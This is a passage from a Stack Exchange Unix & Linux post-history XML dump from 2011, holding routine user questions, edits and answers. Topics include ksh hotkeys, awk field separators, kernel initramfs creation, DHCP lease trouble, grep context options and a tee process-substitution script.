 0   1   0   0   0   0   0   0   0   0   0  0&#xD;&#xA;               0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   0&#xD;&#xA;    &#xD;&#xA;    PropertyNotify event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        atom 0xc7 (WM_STATE), time 581276874, state PropertyNewValue&#xD;&#xA;    &#xD;&#xA;    PropertyNotify event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        atom 0xae (_NET_WM_STATE), time 581276874, state PropertyNewValue&#xD;&#xA;    &#xD;&#xA;    FocusIn event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        mode NotifyWhileGrabbed, detail NotifyNonlinear&#xD;&#xA;    &#xD;&#xA;    KeymapNotify event, serial 29, synthetic NO, window 0x0,&#xD;&#xA;        keys:  68  0   0   0   0   1   0   0   0   0   0   0   0   0   0   0&#xD;&#xA;               0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   0&#xD;&#xA;    &#xD;&#xA;    FocusOut event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        mode NotifyUngrab, detail NotifyPointer&#xD;&#xA;    &#xD;&#xA;    FocusIn event, serial 29, synthetic NO, window 0xa00001,&#xD;&#xA;        mode NotifyUngrab, detail NotifyAncestor&#xD;&#xA;    &#xD;&#xA;    KeymapNotify event, serial 29, synthetic NO, window 0x0,&#xD;&#xA;        keys:  4294967214 0   0   0   0   0   0   0   0   0   0   0   0   0   0  0&#xD;&#xA;               0   0   0   0   0   0   0   0   0   0   0   0   0   0   0   0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please help!&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="25600" PostHistoryTypeId="5" PostId="10531" RevisionGUID="55b29065-1421-40a4-b6cd-251cebd6f43e" CreationDate="2011-04-04T22:49:18.863" UserId="6249" Comment="added 512 characters in body" Text="Hello all,&#xD;&#xA;&#xD;&#xA;I've been trying to learn *nix and I think I'm doing pretty good as far as basic commands, and I think I understand a lot of the &quot;monitoring&quot; type commands etc... in short, I think I'm doing okay with syntax type stuff.&#xD;&#xA;&#xD;&#xA;And doing stuff like setup of xyz is more or less straight forward...but I really want to start learning how to do is troubleshoot/diagnose problems and be able to fix them. For example, if I go to my website and it's not loading...what would be the first thing I should check for? That sort of thing.&#xD;&#xA;&#xD;&#xA;So I figured there's probably some good books out there about what to do when things go wrong, what to start looking for, how to identify what is going wrong and how to fix it etc...so I was looking for some recommendations on where I should turn to for that?&#xD;&#xA;&#xD;&#xA;Ideally I would like book recommendations because I'm old fashioned and like being able to have something in my hands but also for bathroom reading situations :)&#xD;&#xA;&#xD;&#xA;Any good books out there? I did do a little bit of researching before posting here...but after a while of trying to look at various books, it became clear to me that I am currently too much of a noob to figure out whether the book I'm getting is really going to give me what I&quot;m after...seems like most books I've looked at so far focus on install, backup and general syntax...but that stuff is easy and straight forward to digest...I'm looking for the stuff that will help me become a better detective and *nix problem solver...&#xD;&#xA;&#xD;&#xA;p.s. - I'm currently using centOS 5.3 but from what I can tell, a lot of things are generic and can work from *nix system to *nix system so I don't think I necessarily need it to be centOS specific...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;&#xD;&#xA;I ended up getting 3 books:&#xD;&#xA;&#xD;&#xA;[Linux Troubleshooting Bible][1]&#xD;&#xA;&#xD;&#xA;[Linux Server Hacks][2]&#xD;&#xA;&#xD;&#xA;**Linux Server Hacks, Volume 2** (can't post link due to posting restrictions but you can find it easy enough from first link)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/Linux-Troubleshooting-Bible-Christopher-Negus/dp/076456997X/ref=sr_1_1?ie=UTF8&amp;qid=1301957103&amp;sr=8-1&#xD;&#xA;  [2]: http://www.amazon.com/Linux-Server-Hacks-Industrial-Strength-Tools/dp/0596004613/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1301957170&amp;sr=1-1&#xD;&#xA;" />
  <row Id="25601" PostHistoryTypeId="2" PostId="10613" RevisionGUID="33cdc005-2065-414b-a8ec-af4d8ed8641c" CreationDate="2011-04-04T23:31:31.760" UserId="29" Text="If you have cue set to use `k3b` in in the filetype settings, `k3b` will automatically split the file if you open the cue file, and allow you to re-rip." />
  <row Id="25602" PostHistoryTypeId="25" PostId="10596" RevisionGUID="04673c09-5980-49ca-b195-b524d6ab0cff" CreationDate="2011-04-05T00:09:00.370" Comment="http://twitter.com/#!/StackUnix/status/55059324577390593" />
  <row Id="25603" PostHistoryTypeId="2" PostId="10614" RevisionGUID="68172f86-7dff-4bab-ba68-144259b21fc1" CreationDate="2011-04-05T01:03:27.097" UserId="6291" Text="I've been looking for a way to use the keys &lt;code&gt;Ctrl-L&lt;/code&gt; to clear the mouneter idested of typing &lt;code&gt;clear&lt;/code&gt; in each time. I found nothing except a [patch][1] didn't work for me. How do I add hotkeys|shortcuts to my OpenBSD box (which uses ksh as a shell) ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[*] OpenBSD's [ksh.kshrc][2]&#xD;&#xA;&#xD;&#xA;  [1]: http://tamentis.com/hacks/ksh/files/ksh_vi_ctrl_l.patch&#xD;&#xA;  [2]: ftp://ftp3.usa.openbsd.org/pub/OpenBSD/src/etc/ksh.kshrc" />
  <row Id="25604" PostHistoryTypeId="1" PostId="10614" RevisionGUID="68172f86-7dff-4bab-ba68-144259b21fc1" CreationDate="2011-04-05T01:03:27.097" UserId="6291" Text="Adding Ctrl-L as &quot;clear&quot; hotkey in OpenBSD's ksh" />
  <row Id="25605" PostHistoryTypeId="3" PostId="10614" RevisionGUID="68172f86-7dff-4bab-ba68-144259b21fc1" CreationDate="2011-04-05T01:03:27.097" UserId="6291" Text="ékeyboardöshortcutsàéopenbsdàékshà" />
  <row Id="25606" PostHistoryTypeId="5" PostId="10614" RevisionGUID="65167a36-1606-441f-bc81-6b2a8d606793" CreationDate="2011-04-05T01:08:22.903" UserId="73" Comment="deleted 7 characters in body" Text="I've been looking for a way to use &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;L&lt;/kbd&gt; to clear the monitor instead of typing `clear` in each time. I found nothing except a [patch][1] which didn't work for me. How do I add hotkeys/shortcuts to my OpenBSD box (which uses ksh as a shell)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[*] OpenBSD's [ksh.kshrc][2]&#xD;&#xA;&#xD;&#xA;  [1]: http://tamentis.com/hacks/ksh/files/ksh_vi_ctrl_l.patch&#xD;&#xA;  [2]: ftp://ftp3.usa.openbsd.org/pub/OpenBSD/src/etc/ksh.kshrc" />
  <row Id="25607" PostHistoryTypeId="2" PostId="10615" RevisionGUID="bac1a350-2a10-4eee-a235-a6612348c021" CreationDate="2011-04-05T01:52:13.660" UserId="250" Text="I have just tried looking at the [link][1] in the thread you pointed to (BTW next time please include such links so that it's easier for others to look at your problem) and everything is working fine. Of course I haven't actually bought the tickets but I've got to the screen where the site asks me to pay so I guess that's good enough. I'm using Chromium.&#xD;&#xA;&#xD;&#xA;There is a difference that may make things work for you: I use the 32-bit plugin together with nspluginwrapper. There are instructions for [Fedora][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.stubhub.com/philadelphia-phillies-tickets/phillies-vs-mets-4-6-2011-1007979/&#xD;&#xA;  [2]: http://fedoraproject.org/wiki/Flash#32_bit_wrapped_version" />
  <row Id="25608" PostHistoryTypeId="2" PostId="10616" RevisionGUID="e68d3473-8dd7-4ca1-9265-28077096a281" CreationDate="2011-04-05T02:08:36.790" UserId="4667" Text="This is wrong:&#xD;&#xA;&#xD;&#xA;    awk 'BEGIN {IFS=&quot; &quot;} {OFS=&quot;\t&quot;} {print $1,$2,$3,$4}' students.txt&#xD;&#xA;&#xD;&#xA;because you're setting OFS too late (not in the BEGIN block).  Do this:&#xD;&#xA;&#xD;&#xA;    awk 'BEGIN {OFS=&quot;\t&quot;} {print $1,$2,$3,$4}' students.txt&#xD;&#xA;&#xD;&#xA;Don't forget to change your header to have 4 space-separated fields:&#xD;&#xA;&#xD;&#xA;    Surname Forename MSc_Stream Date_of_Birth&#xD;&#xA;" />
  <row Id="25609" PostHistoryTypeId="2" PostId="10617" RevisionGUID="2042142e-eaa2-432f-a53a-33ff2c1917b6" CreationDate="2011-04-05T01:12:58.723" UserDisplayName="VIshnu" Text="After running a system update (pacman -Syu) with the testing repo not commented, my computer no longer boots. It shows the udev loading, then shows a black screen with a cursor blinking in upper left. i cannot type, or switch tty. What logs should i look at for help?" />
  <row Id="25610" PostHistoryTypeId="1" PostId="10617" RevisionGUID="2042142e-eaa2-432f-a53a-33ff2c1917b6" CreationDate="2011-04-05T01:12:58.723" UserDisplayName="VIshnu" Text="Arch Linux not booting after system update" />
  <row Id="25611" PostHistoryTypeId="3" PostId="10617" RevisionGUID="2042142e-eaa2-432f-a53a-33ff2c1917b6" CreationDate="2011-04-05T01:12:58.723" UserDisplayName="VIshnu" Text="éupdateàébootàégrubàéudevà" />
  <row Id="25612" PostHistoryTypeId="17" PostId="10617" RevisionGUID="f25b76c0-4ec1-4982-b76d-f5e770b7ef47" CreationDate="2011-04-05T02:24:05.557" UserId="-1" Comment="from http://stackoverflow.com/questions/5546085/arch-linux-not-booting-after-system-update" Text="" />
  <row Id="25613" PostHistoryTypeId="2" PostId="10618" RevisionGUID="83c02460-2b65-44ae-9927-4b7eec80fdf3" CreationDate="2011-04-05T03:06:42.763" UserId="6122" Text="You should be able to add an alias to your .kshrc to do this. Try &#xD;&#xA;&#xD;&#xA;&gt; alias &quot;^L&quot;=clear&#xD;&#xA;&#xD;&#xA;Where ^L is the single char Ctrl-L. You might not need the quoting, if it still doesn't work the last resort would be to escape it like (what you are typing, not what will be visible in your file) Ctrl-VCtrl-L=clear.&#xD;&#xA;&#xD;&#xA;I hope this helps.&#xD;&#xA;&#xD;&#xA;P.S. as you appear to be a new user, if you get an answer that helps you please remember to mark it as accepted, and/or give it a + (or -) as a useful answer." />
  <row Id="25615" PostHistoryTypeId="25" PostId="10614" RevisionGUID="31f3c691-ef7c-43ce-bec3-9ef0fc21b5bf" CreationDate="2011-04-05T03:09:00.800" Comment="http://twitter.com/#!/StackUnix/status/55104623819755520" />
  <row Id="25616" PostHistoryTypeId="2" PostId="10620" RevisionGUID="bd2d7507-d540-4216-b4e9-2bedde6c632e" CreationDate="2011-04-05T03:18:34.437" UserId="1290" Text="Hi, as I've already wrote in the topic, I compiled a new Kernel with `make defconfig`, the `bzImage` is where it there, so is `vmlinux.bin`. I've installed modules with `make modules_install`.&#xD;&#xA;&#xD;&#xA;Now, what is the next step? should I rename `bzImage` to my liking and put it into `/boot`? And how do I create an initramfs?&#xD;&#xA;&#xD;&#xA;`vmlinux.bin` is executable, is that my Kernel?&#xD;&#xA;&#xD;&#xA;I'm using GRUB, and I'm quite familiar with using and configuring it. But I'm having a hard time putting the kernel together." />
  <row Id="25617" PostHistoryTypeId="1" PostId="10620" RevisionGUID="bd2d7507-d540-4216-b4e9-2bedde6c632e" CreationDate="2011-04-05T03:18:34.437" UserId="1290" Text="Compiled a Kernel (2.6.39-rc1), where is the corresponding initramfs?" />
  <row Id="25618" PostHistoryTypeId="3" PostId="10620" RevisionGUID="bd2d7507-d540-4216-b4e9-2bedde6c632e" CreationDate="2011-04-05T03:18:34.437" UserId="1290" Text="ékernelàégrubàéinitramfsà" />
  <row Id="25619" PostHistoryTypeId="2" PostId="10621" RevisionGUID="db3cd8e2-e491-40e0-9931-f3059ff97de4" CreationDate="2011-04-05T04:36:43.063" UserId="6295" Text="I've got an Ubuntu 8.04 system. I'm hooking it up to a Linksys router.  Networking is set for DHCP, and it grabbed 192.168.1.103 from the router (as expected).  The router software shows that the machine has grabbed that IP.  On the machine I can ping other IPs on the local network (e.g. I have machines on 192.168.1.100 and 101).  &#xD;&#xA;&#xD;&#xA;However, other machines can't ping the Ubuntu system at .103.  And when I do an ifconfig, eth0 shows an IP of 169.254.5.216.  Tried ifconfig eth0 down/up, and finally, a reboot.  Nothing is changing.&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="25620" PostHistoryTypeId="1" PostId="10621" RevisionGUID="db3cd8e2-e491-40e0-9931-f3059ff97de4" CreationDate="2011-04-05T04:36:43.063" UserId="6295" Text="ubuntu system grabs an IP over DHCP from router, but ifconfig shows different number" />
  <row Id="25621" PostHistoryTypeId="3" PostId="10621" RevisionGUID="db3cd8e2-e491-40e0-9931-f3059ff97de4" CreationDate="2011-04-05T04:36:43.063" UserId="6295" Text="énetworkingàédhcpà" />
  <row Id="25622" PostHistoryTypeId="5" PostId="10614" RevisionGUID="081f8e3c-ef1e-41b6-aa9a-30e7d8b40d03" CreationDate="2011-04-05T04:40:41.253" UserId="6291" Comment="edit; deleted 4 characters in body; added 2 characters in body" Text="I've been looking for a way to use &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;L&lt;/kbd&gt; to clear the monitor instead of typing `clear` in each time. I found nothing except a [patch][1] which didn't work for me. How do I add hotkeys/shortcuts to my OpenBSD box (which uses ksh as a shell)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[*] OpenBSD's [ksh.kshrc][2]&#xD;&#xA;&#xD;&#xA;[*] Ctrl-l in hex = 0xc :&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;# read key ; echo -n $key &gt; file.txt ; hexdump file.txt&#xD;&#xA;^L&#xD;&#xA;0000000 000c                                   &#xD;&#xA;0000001&#xD;&#xA;# &#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://tamentis.com/hacks/ksh/files/ksh_vi_ctrl_l.patch&#xD;&#xA;  [2]: ftp://ftp3.usa.openbsd.org/pub/OpenBSD/src/etc/ksh.kshrc" />
  <row Id="25623" PostHistoryTypeId="5" PostId="10621" RevisionGUID="4dd224c8-a007-47c7-8c6e-54d8c54e427f" CreationDate="2011-04-05T04:51:00.530" UserId="6295" Comment="added 474 characters in body; edited tags" Text="I've got an Ubuntu 8.04 system. I'm hooking it up to a Linksys router.  Networking is set for DHCP, and it grabbed 192.168.1.103 from the router (as expected).  The router software shows that the machine has grabbed that IP.  On the machine I can ping other IPs on the local network (e.g. I have machines on 192.168.1.100 and 101).  &#xD;&#xA;&#xD;&#xA;However, other machines can't ping the Ubuntu system at .103.  And when I do an ifconfig, eth0 shows an IP of 169.254.5.216.  Tried ifconfig eth0 down/up, and finally, a reboot.  Nothing is changing.&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;&#xD;&#xA;sudo ifdown -a, then ifup -a gives me more info.  On the up, I get this repeated message:&#xD;&#xA;&#xD;&#xA;DHCPDISCOVER on eth0 to 255.255.255.255. port 67 interval 6&#xD;&#xA;&#xD;&#xA;and the interval increases until it says 'No working leases in persistent database - sleeping.&quot;&#xD;&#xA;&#xD;&#xA;So it's not getting a lease.  The router says the subnet mask should be 255.255.255.0, so maybe that's the problem?  What's weird though is that I can ping out from the machine, just can't ping to it.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25624" PostHistoryTypeId="6" PostId="10621" RevisionGUID="4dd224c8-a007-47c7-8c6e-54d8c54e427f" CreationDate="2011-04-05T04:51:00.530" UserId="6295" Comment="added 474 characters in body; edited tags" Text="éubuntuàénetworkingàédhcpà" />
  <row Id="25625" PostHistoryTypeId="5" PostId="10621" RevisionGUID="36bf4e1b-4ad8-4159-8646-cdfccda406d3" CreationDate="2011-04-05T05:06:11.210" UserId="6295" Comment="solved" Text="I've got an Ubuntu 8.04 system. I'm hooking it up to a Linksys router.  Networking is set for DHCP, and it grabbed 192.168.1.103 from the router (as expected).  The router software shows that the machine has grabbed that IP.  On the machine I can ping other IPs on the local network (e.g. I have machines on 192.168.1.100 and 101).  &#xD;&#xA;&#xD;&#xA;However, other machines can't ping the Ubuntu system at .103.  And when I do an ifconfig, eth0 shows an IP of 169.254.5.216.  Tried ifconfig eth0 down/up, and finally, a reboot.  Nothing is changing.&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;&#xD;&#xA;sudo ifdown -a, then ifup -a gives me more info.  On the up, I get this repeated message:&#xD;&#xA;&#xD;&#xA;DHCPDISCOVER on eth0 to 255.255.255.255. port 67 interval 6&#xD;&#xA;&#xD;&#xA;and the interval increases until it says 'No working leases in persistent database - sleeping.&quot;&#xD;&#xA;&#xD;&#xA;So it's not getting a lease.  The router says the subnet mask should be 255.255.255.0, so maybe that's the problem?  What's weird though is that I can ping out from the machine, just can't ping to it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;UPDATE 2:&#xD;&#xA;&#xD;&#xA;problem solved.  not sure what it was, but a reset of the router to factory defaults fixed the problem.  if i had to guess, maybe i had MAC filtering enabled but didn't have this machine in the table?  not sure.&#xD;&#xA;" />
  <row Id="25626" PostHistoryTypeId="4" PostId="10621" RevisionGUID="36bf4e1b-4ad8-4159-8646-cdfccda406d3" CreationDate="2011-04-05T05:06:11.210" UserId="6295" Comment="solved" Text="ubuntu system grabs an IP over DHCP from router, but ifconfig shows different number (SOLVED)" />
  <row Id="25627" PostHistoryTypeId="2" PostId="10622" RevisionGUID="39c3b0be-2bb6-4bd8-912f-390661043a64" CreationDate="2011-04-05T05:21:48.923" UserId="5685" Text="Once you've made `make modules_install`, the next steps are:&#xD;&#xA; &#xD;&#xA; - `make install` this will take care to move the bzImage, System.map and .config to /boot with the right names, e.g. `config-2.6.39-rc1`, `System.map-2.6.39-rc1`, etc...&#xD;&#xA;&#xD;&#xA; - the next step is to build the initramfs. That depends on the distro. On a debian-like distro, it would be `mkinitramfs -c -k 2.6.39-rc1`. A RH like distro that would be `mkinitrd /boot/initrd-2.6.39-rc1.img 2.6.39-rc1`&#xD;&#xA;&#xD;&#xA; - Add the new kernel to your boot loader, on a modern distro, that would be a simple `update-grub`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note: `make defconfig` may generate a kernel that lacks the proper drivers for your hardware. Safer alternatives would be to either copy the .config of your currently running kernel (look in /boot or /proc/config.gz), or to manually determine the necessary drivers by 'hand' and running a `make xconfig`&#xD;&#xA;&#xD;&#xA;Note2: `-rc1` is _very_ fresh, expect it to contain bugs." />
  <row Id="25628" PostHistoryTypeId="2" PostId="10623" RevisionGUID="87dad54d-d68f-4e12-aa94-9e0a5c63d40d" CreationDate="2011-04-05T05:25:41.880" UserId="2343" Text="When I use 'tee' to  pipe stdout directly to a &quot;specific block of code&quot; (which then writes the modified data to a file), I always get the full complement of exptected output lines in the file.  &#xD;&#xA;&#xD;&#xA;However, when I 'tee' the same data to a process &lt;(&quot;same block of code&quot;), it can drop up to 4 lines from the output. This number varies; sometimes it writes all the lines.  &#xD;&#xA;&#xD;&#xA;How can I get around this issue, and *why* is it only happening in the &lt;( process ) ?    &#xD;&#xA;&#xD;&#xA;" />
  <row Id="25629" PostHistoryTypeId="1" PostId="10623" RevisionGUID="87dad54d-d68f-4e12-aa94-9e0a5c63d40d" CreationDate="2011-04-05T05:25:41.880" UserId="2343" Text="A tee &lt;( process ) is truncating its stdout when writing a file" />
  <row Id="25630" PostHistoryTypeId="3" PostId="10623" RevisionGUID="87dad54d-d68f-4e12-aa94-9e0a5c63d40d" CreationDate="2011-04-05T05:25:41.880" UserId="2343" Text="étextöprocessingàéprocessà" />
  <row Id="25631" PostHistoryTypeId="2" PostId="10624" RevisionGUID="b34dd6ca-aa5d-40b9-a9bb-e6d3a2766186" CreationDate="2011-04-05T05:47:54.480" UserId="6296" Text="I hav to grep a file whos content is as follw:&#xD;&#xA;===================================&#xD;&#xA; &lt;wekobj&gt;&#xD;&#xA; &lt;name&gt;bla bla bla&lt;/name&gt;&#xD;&#xA; &lt;/wekbject&gt;&#xD;&#xA; &lt;strongobj&gt;&#xD;&#xA; &lt;name&gt;this is not requred&lt;/name&gt;&#xD;&#xA; &lt;/strongobj&gt;&#xD;&#xA;&#xD;&#xA;========================&#xD;&#xA;&#xD;&#xA;above is my simple text file content. from which i need to get each line containing &lt;wekobj&gt; text and line next to this line.&#xD;&#xA;that is in above case i need first 2 lines. how i can get them using grep command?   " />
  <row Id="25632" PostHistoryTypeId="1" PostId="10624" RevisionGUID="b34dd6ca-aa5d-40b9-a9bb-e6d3a2766186" CreationDate="2011-04-05T05:47:54.480" UserId="6296" Text="how to make pattern for grep command on linux for muiltiline pattern?" />
  <row Id="25633" PostHistoryTypeId="3" PostId="10624" RevisionGUID="b34dd6ca-aa5d-40b9-a9bb-e6d3a2766186" CreationDate="2011-04-05T05:47:54.480" UserId="6296" Text="élinuxàégrepà" />
  <row Id="25634" PostHistoryTypeId="2" PostId="10625" RevisionGUID="1369ec46-7e6c-43c5-b98c-c14339129452" CreationDate="2011-04-05T05:57:26.343" UserId="250" Text="Hopefully you can still [boot into single user mode][1] if the problem is only with the display. Otherwise you boot a live CD, mount your drive(s) and then `chroot` to gain access to your system.&#xD;&#xA;&#xD;&#xA;After that the first thing you should do is to check `/var/log/pacman.log` to see what may have broken your system. I would suspect an update to `xorg` or the kernel to cause problems like this. What to do next depends entirely on the package to be fixed.&#xD;&#xA;&#xD;&#xA;Please forgive if I'm mistaken, but perhaps you missed the on-screen message that Pacman output when you performed the upgrade. Those are generally important, especially to a rolling release distro like Arch. To quote the [ArchWiki][2]:&#xD;&#xA;&#xD;&#xA;&gt; It is essential that users read all information output by pacman and use common sense.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/4027/250&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/Pacman#Upgrading_packages" />
  <row Id="25635" PostHistoryTypeId="2" PostId="10626" RevisionGUID="e3639355-652f-46df-ae6f-3e6a248da033" CreationDate="2011-04-05T06:01:38.063" UserId="6291" Text="Do you mean like this:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ cat file.txt &#xD;&#xA;Line1&#xD;&#xA;Line2&#xD;&#xA;Line3&#xD;&#xA;Line4&#xD;&#xA;Line5&#xD;&#xA;$&#xD;&#xA;$ cat file.txt | grep -A1 Line2 &#xD;&#xA;Line2&#xD;&#xA;Line3&#xD;&#xA;$&#xD;&#xA;$ cat file.txt | grep -A2 Line2&#xD;&#xA;Line2&#xD;&#xA;Line3&#xD;&#xA;Line4&#xD;&#xA;$ &#xD;&#xA;&lt;/pre&gt;" />
  <row Id="25636" PostHistoryTypeId="25" PostId="10623" RevisionGUID="cdc6f891-9345-48ef-b86e-e9e7bf25d895" CreationDate="2011-04-05T06:09:00.653" Comment="http://twitter.com/#!/StackUnix/status/55149922235850752" />
  <row Id="25637" PostHistoryTypeId="5" PostId="10589" RevisionGUID="ea6d23b7-6e2c-4039-860a-47b8a6164ca6" CreationDate="2011-04-05T06:35:10.883" UserId="1594" Comment="added 102 characters in body" Text="I pressed something and accidentally swapped my two screens. My left one is actually considered as the right one, and vice versa. How can I swap them back?&#xD;&#xA;&#xD;&#xA;**Edit** - Specifically, I'm using Gnome, though we might also want to keep this question generic." />
  <row Id="25638" PostHistoryTypeId="2" PostId="10627" RevisionGUID="17d73e99-ca32-4d50-b389-583c8ae679b0" CreationDate="2011-04-05T06:40:35.480" UserId="1594" Text="    $ sudo apt-get install gmrun&#xD;&#xA;    Reading package lists... Done&#xD;&#xA;    Building dependency tree       &#xD;&#xA;    Reading state information... Done&#xD;&#xA;    gmrun is already the newest version.&#xD;&#xA;    0 upgraded, 0 newly installed, 0 to remove and 18 not upgraded.&#xD;&#xA;    2 not fully installed or removed.&#xD;&#xA;    After this operation, 0B of additional disk space will be used.&#xD;&#xA;    Setting up monodoc-base (2.4.4~svn151842-1ubuntu4) ...&#xD;&#xA;    &#xD;&#xA;    Processing triggers for monodoc-base ...&#xD;&#xA;    /usr/bin/update-monodoc: line 3: [: argument expected&#xD;&#xA;    generating monodoc search index...&#xD;&#xA;    /usr/bin/update-monodoc: line 9: monodoc: command not found&#xD;&#xA;    dpkg: error processing monodoc-base (--configure):&#xD;&#xA;     subprocess installed post-installation script returned error exit status 127&#xD;&#xA;    dpkg: dependency problems prevent configuration of monodoc-http:&#xD;&#xA;     monodoc-http depends on monodoc-base; however:&#xD;&#xA;      Package monodoc-base is not configured yet.&#xD;&#xA;    dpkg: error processing monodoc-http (--configure):&#xD;&#xA;     dependency problems - leaving unconfigured&#xD;&#xA;    No apport report written because the error message indicates its a followup error from a previous failure.&#xD;&#xA;                                                                                                              Errors were encountered while processing:&#xD;&#xA;     monodoc-base&#xD;&#xA;     monodoc-http&#xD;&#xA;    E: Sub-process /usr/bin/dpkg returned an error code (1)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25639" PostHistoryTypeId="1" PostId="10627" RevisionGUID="17d73e99-ca32-4d50-b389-583c8ae679b0" CreationDate="2011-04-05T06:40:35.480" UserId="1594" Text="Error installing gmrun via apt-get" />
  <row Id="25640" PostHistoryTypeId="3" PostId="10627" RevisionGUID="17d73e99-ca32-4d50-b389-583c8ae679b0" CreationDate="2011-04-05T06:40:35.480" UserId="1594" Text="éubuntuàéaptàégmrunà" />
  <row Id="25641" PostHistoryTypeId="5" PostId="10623" RevisionGUID="9ead583d-130a-4c74-bf9b-c2deac973b36" CreationDate="2011-04-05T06:44:02.607" UserId="2343" Comment="corrected  '&gt;'  (was &lt;) .. and more info; added 18 characters in body; deleted 1 characters in body" Text="When I use 'tee' to  pipe stdout directly to a &quot;specific block of code&quot; (which then writes the modified data to a file), I always get the full complement of exptected output lines in the file.  &#xD;&#xA;&#xD;&#xA;However, when I 'tee' the same data to a process **&gt;**(&quot;same block of code&quot;), it can drop up to 4 lines from the output. This number varies; sometimes it writes all the lines.  &#xD;&#xA;&#xD;&#xA;How can I get around this issue, and *why* is it only happening in the &lt;( process ) ?    &#xD;&#xA;&#xD;&#xA;More info: I am 'tee'-ing to 2 process-substitutions and also to normal stdout pipe when this line dropping occurs." />
  <row Id="25642" PostHistoryTypeId="4" PostId="10623" RevisionGUID="9ead583d-130a-4c74-bf9b-c2deac973b36" CreationDate="2011-04-05T06:44:02.607" UserId="2343" Comment="corrected  '&gt;'  (was &lt;) .. and more info; added 18 characters in body; deleted 1 characters in body" Text="A tee &gt;( process ) is truncating its stdout when writing a file" />
  <row Id="25643" PostHistoryTypeId="2" PostId="10628" RevisionGUID="14c7d991-fe38-485b-9b98-0d0d9195656b" CreationDate="2011-04-05T06:58:52.327" UserId="3169" Text="According to the [OpenBSD ksh man page](http://www.openbsd.org/cgi-bin/man.cgi?query=ksh&amp;apropos=0&amp;sektion=0&amp;manpath=OpenBSD+Current&amp;arch=i386&amp;format=html), &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; is bound to redraw.&#xD;&#xA;&#xD;&#xA;&gt;      redraw: ^L&#xD;&#xA;             Reprints the prompt string and the current input line.&#xD;&#xA;&#xD;&#xA;If that isn't sufficient, I can't see any editing command that will help, so I would suggest learning more about `bind -m`.&#xD;&#xA;&#xD;&#xA;Perhaps you can do something like `bind -m '^L'=clear'^J'` to make it type `clear` &lt;kbd&gt;Enter&lt;/kbd&gt;.&#xD;&#xA;" />
  <row Id="25644" PostHistoryTypeId="5" PostId="10623" RevisionGUID="5866451d-0b7b-482b-bfac-fb2f925a195b" CreationDate="2011-04-05T07:10:23.240" UserId="2343" Comment="added snippet" Text="When I use 'tee' to  pipe stdout directly to a &quot;specific block of code&quot; (which then writes the modified data to a file), I always get the full complement of exptected output lines in the file.  &#xD;&#xA;&#xD;&#xA;However, when I 'tee' the same data to a process **&gt;**(&quot;same block of code&quot;), it can drop up to 4 lines from the output. This number varies; sometimes it writes all the lines.  &#xD;&#xA;&#xD;&#xA;How can I get around this issue, and *why* is it only happening in the &lt;( process ) ?    &#xD;&#xA;&#xD;&#xA;More info: I am 'tee'-ing to 2 process-substitutions and also to normal stdout pipe when this line dropping occurs.&#xD;&#xA;&#xD;&#xA;(as suggested) Here is the actual script.. The second process-substitution is the one in question;  beginning with `&gt;(tr $'\x60' $X01 `   &#xD;&#xA;&#xD;&#xA;    #  &#xD;&#xA;    # Run 'locate' and direct the output to a temp file&#xD;&#xA;      errflag=&quot;&quot;&#xD;&#xA;      locitmct=0  # Count of located items &#xD;&#xA;      columns=4  # The number of columns in the main dialog&#xD;&#xA;      colmnb=0  # Column number (NB: columns 1 and 2 are processed together) &#xD;&#xA;      X01=$'\x01'&#xD;&#xA;      eval locate $zenargs |tee \&#xD;&#xA;          &gt;(zenity --progress --pulsate --auto-close) \&#xD;&#xA;          &gt;(tr $'\x60' $X01 \&#xD;&#xA;             |sed -n &quot;s/^\(.*\/\)\(.*\)/\1\2\n\2\n\1/p&quot; \&#xD;&#xA;                |while IFS= read -r line ; do \&#xD;&#xA;                   ((colmnb+=1)) ; \&#xD;&#xA;                   if ((colmnb==1)) ; then \&#xD;&#xA;                      if [[ &quot;$line&quot; != &quot;${line//$X01/ˋ}&quot; ]] ; then \&#xD;&#xA;                         : ; \&#xD;&#xA;                         ((locitmct+=1))  ; \&#xD;&#xA;                         echo &quot;$locitmct&quot; ; \&#xD;&#xA;                         ((colmnb+=1))    ; \&#xD;&#xA;                         errflag=&quot;ERROR&quot;  ; \&#xD;&#xA;                         echo &quot;$errflag&quot;  ; \&#xD;&#xA;                      elif [[ &quot;$erronly&quot; != &quot;true&quot; ]] ; then \&#xD;&#xA;                         ((locitmct+=1))  ; \&#xD;&#xA;                         echo &quot;$locitmct&quot; ; \&#xD;&#xA;                         ((colmnb+=1))    ; \&#xD;&#xA;                         if [[ -f 